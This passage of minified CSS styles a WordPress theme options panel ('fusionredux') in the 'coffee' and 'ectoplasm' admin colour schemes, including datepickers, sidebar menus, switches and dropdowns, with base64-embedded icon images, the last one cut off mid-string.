!important;background-image:-o-linear-gradient(top, #69abc4, #509dba) !important;background-image:-linear-gradient(top, #69abc4, #509dba) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#69abc4", endColorstr="#509dba", GradientType=0) !important}.admin-color-coffee .button.ui-datepicker-current,.admin-color-coffee button.ui-datepicker-close{background-color:#ccad93 !important}.admin-color-coffee .ui-datepicker-buttonpane button.ui-datepicker-current{background:#ba906d !important;color:#fff !important;border:1px solid #835d3e !important}.admin-color-coffee .ui-datepicker-header .ui-icon{background-image:url(data:image/png;base64,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) !important}.admin-color-coffee .ui-datepicker-header{background-color:#46403c !important;color:#fff !important}.admin-color-coffee .ui-datepicker td .ui-state-active{background-color:#ccad93 !important;color:#fff !important}.admin-color-coffee .ui-datepicker td .ui-state-hover{color:#ccad93 !important}.admin-color-coffee .ui-datepicker td .ui-state-highlight{background:#c7a589 !important;border:1px solid #46403c !important;color:#fff !important}.admin-color-coffee .fusionredux-container-switch .cb-disable,.admin-color-coffee .fusionredux-container-switch .cb-enable,.admin-color-coffee .ui-state-default,.admin-color-coffee .ui-widget-content .ui-state-default,.admin-color-coffee .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#f8f8f8", endColorstr="#f5f5f5", GradientType=0) !important;border-color:#ccc !important}.admin-color-coffee .ui-datepicker td .ui-state-active{color:#000 !important;font-weight:700 !important;background:#fff !important}.admin-color-coffee .fusionredux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#929292", endColorstr="#646464", GradientType=0) !important;border-color:#767676 !important}.admin-color-coffee .fusionredux-container-switch .cb-enable.selected,.admin-color-coffee .fusionredux-field-container .ui-buttonset .ui-state-active{background-color:#c7a589 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#d2b7a1), to(#c7a589)) !important;background-image:-moz-linear-gradient(top, #d2b7a1, #c7a589) !important;background-image:-ms-linear-gradient(top, #d2b7a1, #c7a589) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #d2b7a1), color-stop(100%, #c7a589)) !important;background-image:-webkit-linear-gradient(top, #d2b7a1, #c7a589) !important;background-image:-o-linear-gradient(top, #d2b7a1, #c7a589) !important;background-image:-linear-gradient(top, #d2b7a1, #c7a589) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#d2b7a1", endColorstr="#c7a589", GradientType=0) !important;border-color:#ae7d55 !important;border-color:#b78b66 !important;-webkit-box-shadow:inset 0 1px 0 #e0cdbd,0 1px 0 rgba(0,0,0,.15) !important;box-shadow:inset 0 1px 0 #e0cdbd,0 1px 0 rgba(0,0,0,.15) !important}.admin-color-coffee #fusionredux-header{background:#46403c;border-color:#c7a589}.admin-color-coffee #fusionredux-header .display_header span{color:#cdcbc9}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a{position:relative}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:" " !important}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections .fusionredux-menu-error{display:none;margin-right:5px}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;float:right;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.active a .extraIconSubsections,.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .fusionredux-menu-error,.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .fusionredux-menu-error{display:block}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .subsection .fusionredux-menu-error,.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .subsection .fusionredux-menu-error{margin-right:2px}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.active,.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.activeChild{border-left:0 none}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.active a,.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.activeChild a{color:#46403c}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections .active a:after,.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a,.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all .2s;-moz-transition:all .2s;transition:all .2s;color:#fff;width:auto;border-bottom:0}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all .2;-moz-transition:all .2;-ms-transition:all .2;-o-transition:all .2;transition:all .2}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#ba906d;background:#2b2724}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections a{background:#c7a589}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.active.hasSubSections ul.subsection li a{background:#46403c}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections a{background:#cdcbc9;text-shadow:1px 1px #837f7a}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#46403c;text-shadow:none}.admin-color-coffee .fusionredux-sidebar .fusionredux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#c7a589;text-shadow:1px 1px #9f714b}.admin-color-coffee .fusionredux-container-image_select .fusionredux-image-select-selected img{border-color:#c7a589;border-width:3px;max-width:100%;max-height:100%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.admin-color-coffee #fusionredux-footer #fusionredux-share a{color:#c7a589}.admin-color-coffee #fusionredux-footer #fusionredux-share a:hover{color:#9f714b}.admin-color-coffee .select3-results .select3-highlighted{background:#c7a589}.admin-color-coffee .select3-drop-active,.admin-color-coffee .select3-container-multi.select3-container-active .select3-choices,.admin-color-coffee .select3-drop.select3-drop-above.select3-drop-active,.admin-color-coffee .select3-container-active .select3-choice,.admin-color-coffee .select3-container-active .select3-choices,.admin-color-coffee .select3-dropdown-open.select3-drop-above .select3-choice,.admin-color-coffee .select3-dropdown-open.select3-drop-above .select3-choices{border-color:#c7a589}.admin-color-coffee .select3-dropdown-open.select3-drop-above .select3-choice,.admin-color-coffee .select3-dropdown-open.select3-drop-above .select3-choices{border-top:inherit}.admin-color-coffee .noUi-connect{background-color:#ccad93 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#d7bfac), to(#ccad93)) !important;background-image:-moz-linear-gradient(top, #d7bfac, #ccad93) !important;background-image:-ms-linear-gradient(top, #d7bfac, #ccad93) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #d7bfac), color-stop(100%, #ccad93)) !important;background-image:-webkit-linear-gradient(top, #d7bfac, #ccad93) !important;background-image:-o-linear-gradient(top, #d7bfac, #ccad93) !important;background-image:-linear-gradient(top, #d7bfac, #ccad93) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#d7bfac", endColorstr="#ccad93", GradientType=0) !important}.admin-color-ectoplasm .button.ui-datepicker-current,.admin-color-ectoplasm button.ui-datepicker-close{background-color:#a9bd4f !important}.admin-color-ectoplasm .ui-datepicker-buttonpane button.ui-datepicker-current{background:#89993a !important;color:#fff !important;border:1px solid #474f1e !important}.admin-color-ectoplasm .ui-datepicker-header .ui-icon{background-image:url(data:image/png;base64,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